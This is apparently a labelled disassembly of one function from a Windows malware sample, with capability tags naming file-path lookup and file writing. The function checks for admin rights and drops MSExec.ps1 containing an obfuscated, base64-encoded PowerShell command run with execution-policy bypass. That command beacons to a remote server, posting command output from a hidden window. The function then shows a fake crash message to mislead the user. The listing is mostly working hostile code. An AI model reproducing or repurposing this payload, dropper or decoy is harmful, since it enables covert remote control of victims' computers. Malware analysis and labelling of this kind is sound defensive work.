Function at 0x140011433
Capabilities:
Get common file path
Write file on windows

Disassembly:
jmp 0x140014eb0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0xc50
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x210
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xc78]
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0xbf8], rax
lea rcx, [0x14002b109]
call fcn.1400115aa
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x14001513e
lea rax, [rbp + 8]
lea rcx, [0x14001fdd8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r9, [rbp + 0x38]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 8]
call fcn.140011267
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 0
jne 0x140014fe9
lea r8, str.MSExec.ps1
mov rdx, qword [rbp + 0x38]
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + reloc.SHELL32.dll_IsUserAnAdmin], rax
cmp qword [rbp + reloc.SHELL32.dll_IsUserAnAdmin], 0xffffffffffffffff
je 0x140014fdf
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x2c4]
mov r8d, 0x752
lea rdx, str.powershell__ep_bypass__e_JABNAEkATQA9ACcAaAB0AHQAcAA6AC8ALwAnADsAUwBUACcAYQByAHQALQBwAFIATwAnAGMARQBzAFMAIAAkAFAAUwBIAE8ATQBFAFwAcABvAHcAZQByAHMAaABlA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AEkAQQBCAEwARQAgAGQAZQA7ACQAMQA4ADMANwA9AE8AdQAnAFQALQBzAHQAUgAnAEkAbgBnACAALQBJAE4AUAB1AHQATwBiAGoARQBjAHQAIAAkADEAOAAzADcAOwAkADIAYQBlADgAYwA2AD0ASQAnAFIATQAnACAALQB1AHIASQAgACQANgA0ADgANQA1ACQAZgBhADgALwA3AGUANAAzAGEAOQAgAC0AbQBFAFQAaABvAEQAIABQAE8AUwBUACAALQBIAEUAYQBEAEUAUgBTACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABiAH0AIAAtAGIATwBEAHkAIAAoAFsAcwBZAFMAVABlAG0ALgBUAGUAWAB0AC4ARQBuAEMAbwBEAEkAbgBnAF0AOgA6AHUAVABGADgALgBHAGUAdABiAFkAVABlAFMAKAAkAGQAZQArACQAMQA4ADMANwApACAALQBKAE8ASQBuACAAJwAgACcAKQB9ACAAcwAnAGwAZQBFAHAAJwAgADAALgA4AH0AfQAgAC0AdwBJAE4ARABvAHcAcwBUAHkAbABlACAAaABpACcAZABEAGUAbgAnAA
mov rcx, qword [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov r8d, 0x104
lea rdx, [rbp + 0x2f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0x104
lea rax, [rbp + 0x520]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.ucrtbased.dll__wsplitpath_s]
lea rdx, str..exe___Application_Error
lea rcx, [rbp + 0x520]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x748]
call fcn.1400111e5
lea rcx, [rbp + 0x788]
call fcn.140011483
lea rax, [rbp + 0x748]
mov qword [rbp + 0x7c8], rax
mov rcx, qword [rbp + 0x7c8]
call fcn.14001157d
mov qword [rbp + 0x7e8], rax
mov rcx, qword [rbp + 0x7c8]
call fcn.1400110b4
mov qword [rbp + 0x808], rax
jmp 0x1400150be
mov rax, qword [rbp + 0x7e8]
add rax, 2
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x808]
cmp qword [rbp + 0x7e8], rax
je 0x140015100
mov rax, qword [rbp + 0x7e8]
movzx eax, word [rax]
mov word [rbp + 0x824], ax
movzx eax, word [rbp + 0x824]
cmp eax, 0x5c
je 0x1400150fe
movzx edx, word [rbp + 0x824]
lea rcx, [rbp + 0x788]
call fcn.140011442
jmp 0x1400150ac
lea rcx, [rbp + 0x788]
call fcn.1400111ef
mov r9d, 0x10
mov r8, rax
lea rdx, str.The_instruction_at_Ox000000008800000_referenced_memory_at_0x0000000088000000._The_memory_could_not_be_written._n_nClick_on_OK_to_terminate_the_program
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp + 0x788]
call fcn.14001151e
lea rcx, [rbp + 0x748]
call fcn.14001151e
jmp 0x14001515a
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Program_must_be_run_as_administrator
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001de60]
call fcn.1400114e2
mov eax, edi
mov rcx, qword [rbp + 0xbf8]
xor rcx, rbp
call fcn.1400112cb
lea rsp, [rbp + 0xc00]
pop rdi
pop rsi
pop rbp
ret